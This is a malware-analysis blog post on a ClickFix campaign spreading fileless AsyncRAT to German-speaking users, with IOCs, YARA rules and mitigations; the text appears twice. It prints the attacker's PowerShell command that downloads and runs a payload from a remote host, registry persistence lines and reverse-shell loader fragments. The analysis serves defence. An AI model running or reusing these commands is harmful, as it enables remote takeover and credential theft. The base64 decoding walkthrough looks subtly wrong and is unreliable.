Fileless AsyncRAT Distributed Via Clickfix Technique Targeting German Speaking Users

A fileless AsyncRAT campaign is targeting German-speaking users via a fake “I’m not a robot” prompt that executes malicious PowerShell code. Delivered through Clickfix-themed sites, it abuses system utilities to load obfuscated C# code in memory, enabling full remote access and credential theft. It persists via registry keys and communicates with a C2 server on port 4444. Organizations should block suspicious PowerShell activity and scan memory for threats.

Koushik Pal
June 16, 2025
Green Alert
Last Update posted on
June 16, 2025
Table of Contents
Author(s)
No items found.

Executive Summary

A fileless AsyncRAT joins the Clickfix party, with an obfuscated PowerShell-based campaign. The malware is delivered via a fake verification prompt that lures users into executing a malicious command. Based on the linguistic preferences in the verification prompt, we can ascertain with high confidence that the campaign is targeted towards German speaking users. The chain abuses legitimate system utilities and in-memory C# loaders with reversed strings to evade detection. Once executed, the malware establishes persistence through registry keys and connects to a remote TCP C2 server on port 4444. It enables full remote control, credential theft, and data exfiltration — all without dropping files to disk. Mitigations include blocking suspicious PowerShell execution, monitoring registry activity, and scanning memory for in-memory payloads commonly used in LOLBins-based delivery methods.

Analysis 

During the routine attacker infrastructure discovery and attribution cycle, we discovered a Clickfix themed delivery website.

When the victim clicks on “I’m not a robot”, a command is copied to the clipboard, and instructions are displayed for the victim to follow.

Copied command:

conhost.exe --headless powershell -w hidden -nop -c $x =

[System.Text.Encoding]::UTF8.GetString((Invoke-webrequest -URI

'http://namoet[.]de:80/x').Content); cmd /c $x" Drücke enter um deine identität zu bestätigen!

The string “Drücke enter um deine identität zu bestätigen!” within the command, translates to "Press enter to confirm your identity!". This suggests that the clickfix delivery page is designed to target German speaking users.

Cyber Kill Chain

Step-by-Step Breakdown 

1. The copied command uses a system utility, conhost, to invoke powershell with 3 flags.

powershell -w hidden -nop -c

  1. -w hidden: Hides the PowerShell window.
  2. -nop: No Profile (doesn’t load PowerShell profile scripts).
  3. -c: Executes the command following it.

2. Downloads powershell payload from a remote server.

$x = [System.Text.Encoding]::UTF8.GetString((Invoke-webrequest -URI 'http://namoet[.]de:80/x').Content)

The command assumes that the content is UTF-8 encoded text, and decodes it as a string.

*The contents of the downloaded payload “x” can be found in the Appendix.

3. Finally, the decoded string is executed using the Windows Command Prompt.

cmd /c $x

Analysis - Downloaded payload “x”

1. Sets up persistence

$c = 'conhost.exe --headless powershell -nop -w hidden -c '+[char]34+$MyInvocation.MyCommand+[char]34;

Set-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce' 'windows' ...

Set-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows' 'win' $c;

  • Goal: Ensure the PowerShell script re-executes on next login or boot using RunOnce and Windows registry keys.
  • Persistence paths:
    • RunOnce executes the script once upon the next logon.
    • Windows\win key contains the full command to be re-used by a new process.

2. Obfuscates payload in ask==gClRm...

$f = 'ask=' + '=gClRmL' + '0V2b' + 'tFm' + 'blk='; 

$d = $f.Substring(3,16).ToCharArray(); 

[array]::reverse($d);

$y = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String($d -join ''));

  • $f is a fragmented base64 string, reversed before decoding.
  • Once decoded, it produces a .NET method name or function argument, used below.

3. Loads embedded obfuscated C# code

$g = '<obfuscated and reversed C# code>';

$l = $g.ToCharArray();

[array]::reverse($l);

Add-Type -TypeDefinition $($l -join '');

  • $g is a reversed C# class, a malicious .NET reverse shell or stager.
  • It includes:
    • TCP sockets.
    • Process spawning.
    • Standard I/O redirection.
    • Encoding functions.
  • Add-Type compiles and loads this class in memory.

*The contents of “$l” can be found in the Appendix.

4. Executes the embedded code

[B]::ma($y.Trim())

  • The class B (defined in the C# blob) has a static method ma().
  • $y (decoded earlier) is passed as an argument.

Derivation of $y

$f='ask='+'=gClRmL'+'0V2b'+'tFm'+'blk='; 

$d=$f.Substring(3,16).ToCharArray(); 

[array]::reverse($d); 

$y=[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String($d -join ''));

Breaking this down:

Step 1: Construct $f

$f = 'ask=' + '=gClRmL' + '0V2b' + 'tFm' + 'blk='

= 'ask==gClRmL0V2btFmblk='

Step 2: Take substring from offset 3 of length 16

$f.Substring(3,16)

= '=gClRmL0V2btFmbl'

Step 3: Convert to array and reverse

# Before reverse: '=gClRmL0V2btFmbl'

# After reverse:  'lbmFtbt2V0LmRlLg='

Step 4: Base64 decode

Base64 string: 'lbmFtbt2V0LmRlLg='

Decoded:       'namoet[.]de:4444'

5. What does the payload do?

  1. Establishes a TcpClient to namoet.de:4444.
  2. Configures:
  • ProcessStartInfo with:
    • RedirectStandardInput = true
    • RedirectStandardOutput = true
    • RedirectStandardError = true
    • UseShellExecute = false
    • CreateNoWindow = true
  1. Launches a shell.
  2. Relays output and error back to C2.
  3. Listens for input commands from C2 and executes them on the victim system.

On certain exit codes, it kills itself with GetCurrentProcess().Kill().

Attribution - AsyncRAT

1. Use of PowerShell and conhost.exe for Stealth Execution

  • TTP: T1059.001 – PowerShell
  • AsyncRAT often uses obfuscated PowerShell launched from conhost.exe or powershell.exe with flags like -w hidden, -nop, and -c to minimize visibility.

In our sample:

conhost.exe --headless powershell -w hidden -nop -c ...

This execution pattern is frequently observed in AsyncRAT delivery.

2. In-memory C# Compilation via Add-Type

  • TTP: T1127.001 – Compile After Delivery
  • AsyncRAT is known for loading its core functionality through obfuscated and reversed C# code, which is then compiled in memory using PowerShell's Add-Type.

The payload contains:

Add-Type -TypeDefinition $($l -join '')

[B]::ma($y.Trim())

3. Reverse-Engineered .NET Loader Format

  • TTP: T1218.005 – Signed Binary Proxy Execution: rundll32
  • The payload includes typical byte[] handling, process injection, and embedded base64 C# in a reversed format.
  • This loader logic matches how AsyncRAT stages and loads encrypted payloads at runtime.

4. TCP C2 on Port 4444 with Async-style Process Management

  • TTPs:
    • T1071.001 – Application Layer Protocol: Web Protocols
    • T1571 – Non-Standard Port Usage
  • The C2 host is namoet[.]de:4444, which aligns with AsyncRAT's default behavior: a persistent TCP connection (often port 4444 or similar).

The .NET code contains:

TcpClient b = new TcpClient(); b.Connect(d, e);

...

while (true) { c.Read(...) ...}

that’s indicative of a long-running backchannel—very characteristic of AsyncRAT's C2 logic.

5. Registry Persistence with HKCU\...\RunOnce

  • TTP: T1547.001 – Registry Run Keys/Startup Folder

The malware sets persistence using:
Set-ItemProperty 'HKCU:\...RunOnce' ...

AsyncRAT variants often use HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce or Run for user-level persistence without triggering UAC.

MITRE Mapping

Activity Description MITRE ATT&CK ID ATT&CK Name
Initial execution via conhost.exe with PowerShell Executes PowerShell payload using --headless, -w hidden, -nop, -c flags to avoid detection T1059.001 Command and Scripting Interpreter: PowerShell
Remote payload retrieval Downloads second stage (http://namoet[.]de/x) using Invoke-WebRequest T1105 Ingress Tool Transfer
Payload obfuscation and decoding Reversed, base64-encoded C# payload embedded in a PowerShell string T1027 Obfuscated Files or Information
In-memory compilation of C# code Uses Add-Type to compile and run embedded .NET code at runtime T1127.001 Compile After Delivery
TCP C2 connection Maintains persistent C2 connection to attacker over TCP (port 4444) T1071.001, T1571 Application Layer Protocol: Web Protocols, Non-Standard Port
Process management and output redirection Redirects standard input/output for command execution and interprocess communication T1056.001 Input Capture: Keylogging / Terminal I/O
Persistence via registry Sets HKCU:\...\RunOnce and HKCU:\...\Windows keys with launcher commands T1547.001 Registry Run Keys / Startup Folder
Process injection and memory manipulation (optional in loader) Converts byte arrays to shellcode or DLL for injection T1055.001 Process Injection
Anti-analysis / obfuscation Reverse-order strings, dynamic decoding, reflective loading used to evade detection T1027.002, T1140 Obfuscated Files: Reversible Encoding, Deobfuscate/Decode Files or Information

IOCs 

Indicator Type Value Use
IP 109.250.111[.]155 Clickfix Delivery
FQDN namoet[.]de Clickfix / Command & Control server
Port 4444 TCP reverse shell listener port
URL hxxp[:]//namoet[.]de:80/x PowerShell payload
Registry (HKCU) SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\windows RunOnce key ensures persistence on next boot
Registry (HKCU) SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\win Windows\win holds obfuscated PowerShell command

As we know, the clickfix delivery page copied a command that was appended by the text “Drücke enter um deine identität zu bestätigen!”. Upon using the text in the copied command as a pivot point, we discovered additional attacker controlled infrastructure that were used in the same campaign for clickfix delivery and C2 operations.

Indicator Type Value Use
IP109.250.109[.]80Clickfix Delivery
IP109.250.108[.]183Clickfix Delivery
IP109.250.109[.]205Clickfix Delivery
IP109.250.110[.]222Clickfix Delivery
IP109.250.110[.]98Clickfix Delivery
IP109.250.110[.]142Clickfix Delivery
IP109.250.111[.]219Clickfix Delivery
IP109.250.111[.]186Clickfix Delivery
IP109.250.110[.]140Clickfix Delivery
IP109.250.110[.]190Clickfix Delivery
IP109.250.111[.]176Clickfix Delivery
IP109.250.110[.]228Clickfix Delivery
IP109.250.111[.]75Clickfix Delivery

Based on the additional infrastructure discovered, we can ascertain with medium confidence that this campaign has been running since at least April 2025.

Yara Rule (Memory Focused)

rule AsyncRAT_Memory_Resident_Reversed_Loader

{

    meta:

        author = "CloudSEK Cyber Threat Intelligence"

        description = "Detects AsyncRAT C# loader code in memory, focusing on reversed strings and reflective loading behavior"

        malware_family = "AsyncRAT"

        date = "2025-06-12"

        scope = "memory"

    strings:

        // Reversed .NET namespaces indicating obfuscation

        $s1 = "gnidaerhT.metsyS gnisu" ascii

        $s2 = "txeT.metsyS gnisu" ascii

        $s3 = "stekcoS.teN.metsyS gnisu" ascii

        $s4 = "scitsongaiD.metsyS gnisu" ascii

        // Add-Type used at runtime

        $s5 = "Add-Type -TypeDefinition" ascii

        // TcpClient logic reversed (in-memory string form)

        $s6 = "tneilCpcT wen = b tneilCpcT cilbup" ascii

        $s7 = ")(f;)(maertSteG.b = c;)e ,d(tcennoC.b" ascii

        // Function signatures reversed

        $s8 = "diov citats cilbup" ascii

        $s9 = "ssalc cilbup" ascii

        // Registry persistence reversed (optional)

        $s10 = "'nosiW' = yek'1UR\\...'KUH" wide ascii nocase

    condition:

        5 of ($s*)

}

Yara Rule (Generic)

rule AsyncRAT_PowerShell_ReversedLoader

{

    meta:

        author = "CloudSEK Cyber Threat Intelligence"

        description = "Detects AsyncRAT payloads using PowerShell with reversed base64-encoded C# and Add-Type loader"

        malware_family = "AsyncRAT"

        date = "2025-06-12"

    strings:

        // PowerShell pattern using common obfuscation flags

        $ps_flags = "powershell -nop -w hidden -c" ascii

        // Use of Add-Type to compile C# code at runtime

        $add_type = "Add-Type -TypeDefinition" ascii

        // Registry persistence keys

        $reg1 = "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" ascii

        $reg2 = "HKCU:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows" ascii

        // Reversed C# namespace common to AsyncRAT

        $rev_using = "gnidaerhT.metsyS gnisu" ascii

        $rev_dns = ")]0[w(gnirtSteG.tluafeD.gnidocnE = emaNeliF" ascii

        // TcpClient and Connect() reversed calls in .NET

        $tcp_client = "tneilCpcT wen = b tneilCpcT cilbup" ascii

        $connect_call = ")(f;)(maertSteG.b = c;)e ,d(tcennoC.b" ascii

        // Common TCP port used (4444) for C2

        $port_4444 = "4444" ascii

    condition:

        all of ($ps_flags, $add_type, $reg1, $rev_using, $tcp_client) and

        any of ($reg2, $rev_dns, $port_4444, $connect_call)

}

Impact

  • Full Remote Control: AsyncRAT provides attackers with complete remote access to the compromised system, enabling keylogging, file exfiltration, and remote command execution.
  • Credential Theft: The malware can extract credentials from browsers, memory, or saved session data, leading to further lateral movement or account compromise.
  • Persistence via Registry Abuse: By writing to HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce, the malware ensures it runs at user logon, surviving reboots.
  • Evasion via In-Memory Execution: Payloads never touch disk — all execution occurs in memory (reflective PowerShell + reversed C#), bypassing traditional file-based AV detection.
  • Command-and-Control Communication: Uses obfuscated TCP connections (often over ports like 4444) to exfiltrate data or receive commands — enabling long-term covert operations.

Mitigations

  • Block LOLBins like conhost.exe for PowerShell: Use EDR or AppLocker to prevent suspicious use of conhost.exe --headless launching powershell.exe.
  • Network Segmentation and Egress Filtering: Block known or suspicious outbound TCP connections (e.g., port 4444 or to unknown IPs/domains), and apply domain-based blocking for known C2 infrastructure.
  • Registry Monitoring: Set up detection for changes to high-risk keys such as RunOnce & Windows\win
  • Memory Scanning with YARA or EDR: Implement in-memory scanning using YARA rules (like the one provided) to detect obfuscated C# code, Add-Type loaders, and TCP logic.
  • PowerShell Constrained Language Mode + Logging: Enforce PowerShell Constrained Language Mode via GPO and enable ScriptBlock Logging and Transcription to detect obfuscated or reflective code.

Appendix

  1. $l – Deobfuscated C# Loader for AsyncRAT

References

Predict Cyber threats against your organization

Related Posts
No items found.

Join 10,000+ subscribers

Keep up with the latest news about strains of Malware, Phishing Lures,
Indicators of Compromise, and Data Leaks.

Take action now

Secure your organisation with our Award winning Products

CloudSEK Platform is a no-code platform that powers our products with predictive threat analytic capabilities.

Malware Intelligence

8

min read

Fileless AsyncRAT Distributed Via Clickfix Technique Targeting German Speaking Users

A fileless AsyncRAT campaign is targeting German-speaking users via a fake “I’m not a robot” prompt that executes malicious PowerShell code. Delivered through Clickfix-themed sites, it abuses system utilities to load obfuscated C# code in memory, enabling full remote access and credential theft. It persists via registry keys and communicates with a C2 server on port 4444. Organizations should block suspicious PowerShell activity and scan memory for threats.

Authors
Koushik Pal
Co-Authors
No items found.

Executive Summary

A fileless AsyncRAT joins the Clickfix party, with an obfuscated PowerShell-based campaign. The malware is delivered via a fake verification prompt that lures users into executing a malicious command. Based on the linguistic preferences in the verification prompt, we can ascertain with high confidence that the campaign is targeted towards German speaking users. The chain abuses legitimate system utilities and in-memory C# loaders with reversed strings to evade detection. Once executed, the malware establishes persistence through registry keys and connects to a remote TCP C2 server on port 4444. It enables full remote control, credential theft, and data exfiltration — all without dropping files to disk. Mitigations include blocking suspicious PowerShell execution, monitoring registry activity, and scanning memory for in-memory payloads commonly used in LOLBins-based delivery methods.

Analysis 

During the routine attacker infrastructure discovery and attribution cycle, we discovered a Clickfix themed delivery website.

When the victim clicks on “I’m not a robot”, a command is copied to the clipboard, and instructions are displayed for the victim to follow.

Copied command:

conhost.exe --headless powershell -w hidden -nop -c $x =

[System.Text.Encoding]::UTF8.GetString((Invoke-webrequest -URI

'http://namoet[.]de:80/x').Content); cmd /c $x" Drücke enter um deine identität zu bestätigen!

The string “Drücke enter um deine identität zu bestätigen!” within the command, translates to "Press enter to confirm your identity!". This suggests that the clickfix delivery page is designed to target German speaking users.

Cyber Kill Chain

Step-by-Step Breakdown 

1. The copied command uses a system utility, conhost, to invoke powershell with 3 flags.

powershell -w hidden -nop -c

  1. -w hidden: Hides the PowerShell window.
  2. -nop: No Profile (doesn’t load PowerShell profile scripts).
  3. -c: Executes the command following it.

2. Downloads powershell payload from a remote server.

$x = [System.Text.Encoding]::UTF8.GetString((Invoke-webrequest -URI 'http://namoet[.]de:80/x').Content)

The command assumes that the content is UTF-8 encoded text, and decodes it as a string.

*The contents of the downloaded payload “x” can be found in the Appendix.

3. Finally, the decoded string is executed using the Windows Command Prompt.

cmd /c $x

Analysis - Downloaded payload “x”

1. Sets up persistence

$c = 'conhost.exe --headless powershell -nop -w hidden -c '+[char]34+$MyInvocation.MyCommand+[char]34;

Set-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce' 'windows' ...

Set-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows' 'win' $c;

  • Goal: Ensure the PowerShell script re-executes on next login or boot using RunOnce and Windows registry keys.
  • Persistence paths:
    • RunOnce executes the script once upon the next logon.
    • Windows\win key contains the full command to be re-used by a new process.

2. Obfuscates payload in ask==gClRm...

$f = 'ask=' + '=gClRmL' + '0V2b' + 'tFm' + 'blk='; 

$d = $f.Substring(3,16).ToCharArray(); 

[array]::reverse($d);

$y = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String($d -join ''));

  • $f is a fragmented base64 string, reversed before decoding.
  • Once decoded, it produces a .NET method name or function argument, used below.

3. Loads embedded obfuscated C# code

$g = '<obfuscated and reversed C# code>';

$l = $g.ToCharArray();

[array]::reverse($l);

Add-Type -TypeDefinition $($l -join '');

  • $g is a reversed C# class, a malicious .NET reverse shell or stager.
  • It includes:
    • TCP sockets.
    • Process spawning.
    • Standard I/O redirection.
    • Encoding functions.
  • Add-Type compiles and loads this class in memory.

*The contents of “$l” can be found in the Appendix.

4. Executes the embedded code

[B]::ma($y.Trim())

  • The class B (defined in the C# blob) has a static method ma().
  • $y (decoded earlier) is passed as an argument.

Derivation of $y

$f='ask='+'=gClRmL'+'0V2b'+'tFm'+'blk='; 

$d=$f.Substring(3,16).ToCharArray(); 

[array]::reverse($d); 

$y=[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String($d -join ''));

Breaking this down:

Step 1: Construct $f

$f = 'ask=' + '=gClRmL' + '0V2b' + 'tFm' + 'blk='

= 'ask==gClRmL0V2btFmblk='

Step 2: Take substring from offset 3 of length 16

$f.Substring(3,16)

= '=gClRmL0V2btFmbl'

Step 3: Convert to array and reverse

# Before reverse: '=gClRmL0V2btFmbl'

# After reverse:  'lbmFtbt2V0LmRlLg='

Step 4: Base64 decode

Base64 string: 'lbmFtbt2V0LmRlLg='

Decoded:       'namoet[.]de:4444'

5. What does the payload do?

  1. Establishes a TcpClient to namoet.de:4444.
  2. Configures:
  • ProcessStartInfo with:
    • RedirectStandardInput = true
    • RedirectStandardOutput = true
    • RedirectStandardError = true
    • UseShellExecute = false
    • CreateNoWindow = true
  1. Launches a shell.
  2. Relays output and error back to C2.
  3. Listens for input commands from C2 and executes them on the victim system.

On certain exit codes, it kills itself with GetCurrentProcess().Kill().

Attribution - AsyncRAT

1. Use of PowerShell and conhost.exe for Stealth Execution

  • TTP: T1059.001 – PowerShell
  • AsyncRAT often uses obfuscated PowerShell launched from conhost.exe or powershell.exe with flags like -w hidden, -nop, and -c to minimize visibility.

In our sample:

conhost.exe --headless powershell -w hidden -nop -c ...

This execution pattern is frequently observed in AsyncRAT delivery.

2. In-memory C# Compilation via Add-Type

  • TTP: T1127.001 – Compile After Delivery
  • AsyncRAT is known for loading its core functionality through obfuscated and reversed C# code, which is then compiled in memory using PowerShell's Add-Type.

The payload contains:

Add-Type -TypeDefinition $($l -join '')

[B]::ma($y.Trim())

3. Reverse-Engineered .NET Loader Format

  • TTP: T1218.005 – Signed Binary Proxy Execution: rundll32
  • The payload includes typical byte[] handling, process injection, and embedded base64 C# in a reversed format.
  • This loader logic matches how AsyncRAT stages and loads encrypted payloads at runtime.

4. TCP C2 on Port 4444 with Async-style Process Management

  • TTPs:
    • T1071.001 – Application Layer Protocol: Web Protocols
    • T1571 – Non-Standard Port Usage
  • The C2 host is namoet[.]de:4444, which aligns with AsyncRAT's default behavior: a persistent TCP connection (often port 4444 or similar).

The .NET code contains:

TcpClient b = new TcpClient(); b.Connect(d, e);

...

while (true) { c.Read(...) ...}

that’s indicative of a long-running backchannel—very characteristic of AsyncRAT's C2 logic.

5. Registry Persistence with HKCU\...\RunOnce

  • TTP: T1547.001 – Registry Run Keys/Startup Folder

The malware sets persistence using:
Set-ItemProperty 'HKCU:\...RunOnce' ...

AsyncRAT variants often use HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce or Run for user-level persistence without triggering UAC.

MITRE Mapping

Activity Description MITRE ATT&CK ID ATT&CK Name
Initial execution via conhost.exe with PowerShell Executes PowerShell payload using --headless, -w hidden, -nop, -c flags to avoid detection T1059.001 Command and Scripting Interpreter: PowerShell
Remote payload retrieval Downloads second stage (http://namoet[.]de/x) using Invoke-WebRequest T1105 Ingress Tool Transfer
Payload obfuscation and decoding Reversed, base64-encoded C# payload embedded in a PowerShell string T1027 Obfuscated Files or Information
In-memory compilation of C# code Uses Add-Type to compile and run embedded .NET code at runtime T1127.001 Compile After Delivery
TCP C2 connection Maintains persistent C2 connection to attacker over TCP (port 4444) T1071.001, T1571 Application Layer Protocol: Web Protocols, Non-Standard Port
Process management and output redirection Redirects standard input/output for command execution and interprocess communication T1056.001 Input Capture: Keylogging / Terminal I/O
Persistence via registry Sets HKCU:\...\RunOnce and HKCU:\...\Windows keys with launcher commands T1547.001 Registry Run Keys / Startup Folder
Process injection and memory manipulation (optional in loader) Converts byte arrays to shellcode or DLL for injection T1055.001 Process Injection
Anti-analysis / obfuscation Reverse-order strings, dynamic decoding, reflective loading used to evade detection T1027.002, T1140 Obfuscated Files: Reversible Encoding, Deobfuscate/Decode Files or Information

IOCs 

Indicator Type Value Use
IP 109.250.111[.]155 Clickfix Delivery
FQDN namoet[.]de Clickfix / Command & Control server
Port 4444 TCP reverse shell listener port
URL hxxp[:]//namoet[.]de:80/x PowerShell payload
Registry (HKCU) SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\windows RunOnce key ensures persistence on next boot
Registry (HKCU) SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\win Windows\win holds obfuscated PowerShell command

As we know, the clickfix delivery page copied a command that was appended by the text “Drücke enter um deine identität zu bestätigen!”. Upon using the text in the copied command as a pivot point, we discovered additional attacker controlled infrastructure that were used in the same campaign for clickfix delivery and C2 operations.

Indicator Type Value Use
IP109.250.109[.]80Clickfix Delivery
IP109.250.108[.]183Clickfix Delivery
IP109.250.109[.]205Clickfix Delivery
IP109.250.110[.]222Clickfix Delivery
IP109.250.110[.]98Clickfix Delivery
IP109.250.110[.]142Clickfix Delivery
IP109.250.111[.]219Clickfix Delivery
IP109.250.111[.]186Clickfix Delivery
IP109.250.110[.]140Clickfix Delivery
IP109.250.110[.]190Clickfix Delivery
IP109.250.111[.]176Clickfix Delivery
IP109.250.110[.]228Clickfix Delivery
IP109.250.111[.]75Clickfix Delivery

Based on the additional infrastructure discovered, we can ascertain with medium confidence that this campaign has been running since at least April 2025.

Yara Rule (Memory Focused)

rule AsyncRAT_Memory_Resident_Reversed_Loader

{

    meta:

        author = "CloudSEK Cyber Threat Intelligence"

        description = "Detects AsyncRAT C# loader code in memory, focusing on reversed strings and reflective loading behavior"

        malware_family = "AsyncRAT"

        date = "2025-06-12"

        scope = "memory"

    strings:

        // Reversed .NET namespaces indicating obfuscation

        $s1 = "gnidaerhT.metsyS gnisu" ascii

        $s2 = "txeT.metsyS gnisu" ascii

        $s3 = "stekcoS.teN.metsyS gnisu" ascii

        $s4 = "scitsongaiD.metsyS gnisu" ascii

        // Add-Type used at runtime

        $s5 = "Add-Type -TypeDefinition" ascii

        // TcpClient logic reversed (in-memory string form)

        $s6 = "tneilCpcT wen = b tneilCpcT cilbup" ascii

        $s7 = ")(f;)(maertSteG.b = c;)e ,d(tcennoC.b" ascii

        // Function signatures reversed

        $s8 = "diov citats cilbup" ascii

        $s9 = "ssalc cilbup" ascii

        // Registry persistence reversed (optional)

        $s10 = "'nosiW' = yek'1UR\\...'KUH" wide ascii nocase

    condition:

        5 of ($s*)

}

Yara Rule (Generic)

rule AsyncRAT_PowerShell_ReversedLoader

{

    meta:

        author = "CloudSEK Cyber Threat Intelligence"

        description = "Detects AsyncRAT payloads using PowerShell with reversed base64-encoded C# and Add-Type loader"

        malware_family = "AsyncRAT"

        date = "2025-06-12"

    strings:

        // PowerShell pattern using common obfuscation flags

        $ps_flags = "powershell -nop -w hidden -c" ascii

        // Use of Add-Type to compile C# code at runtime

        $add_type = "Add-Type -TypeDefinition" ascii

        // Registry persistence keys

        $reg1 = "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" ascii

        $reg2 = "HKCU:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows" ascii

        // Reversed C# namespace common to AsyncRAT

        $rev_using = "gnidaerhT.metsyS gnisu" ascii

        $rev_dns = ")]0[w(gnirtSteG.tluafeD.gnidocnE = emaNeliF" ascii

        // TcpClient and Connect() reversed calls in .NET

        $tcp_client = "tneilCpcT wen = b tneilCpcT cilbup" ascii

        $connect_call = ")(f;)(maertSteG.b = c;)e ,d(tcennoC.b" ascii

        // Common TCP port used (4444) for C2

        $port_4444 = "4444" ascii

    condition:

        all of ($ps_flags, $add_type, $reg1, $rev_using, $tcp_client) and

        any of ($reg2, $rev_dns, $port_4444, $connect_call)

}

Impact

  • Full Remote Control: AsyncRAT provides attackers with complete remote access to the compromised system, enabling keylogging, file exfiltration, and remote command execution.
  • Credential Theft: The malware can extract credentials from browsers, memory, or saved session data, leading to further lateral movement or account compromise.
  • Persistence via Registry Abuse: By writing to HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce, the malware ensures it runs at user logon, surviving reboots.
  • Evasion via In-Memory Execution: Payloads never touch disk — all execution occurs in memory (reflective PowerShell + reversed C#), bypassing traditional file-based AV detection.
  • Command-and-Control Communication: Uses obfuscated TCP connections (often over ports like 4444) to exfiltrate data or receive commands — enabling long-term covert operations.

Mitigations

  • Block LOLBins like conhost.exe for PowerShell: Use EDR or AppLocker to prevent suspicious use of conhost.exe --headless launching powershell.exe.
  • Network Segmentation and Egress Filtering: Block known or suspicious outbound TCP connections (e.g., port 4444 or to unknown IPs/domains), and apply domain-based blocking for known C2 infrastructure.
  • Registry Monitoring: Set up detection for changes to high-risk keys such as RunOnce & Windows\win
  • Memory Scanning with YARA or EDR: Implement in-memory scanning using YARA rules (like the one provided) to detect obfuscated C# code, Add-Type loaders, and TCP logic.
  • PowerShell Constrained Language Mode + Logging: Enforce PowerShell Constrained Language Mode via GPO and enable ScriptBlock Logging and Transcription to detect obfuscated or reflective code.

Appendix

  1. $l – Deobfuscated C# Loader for AsyncRAT

References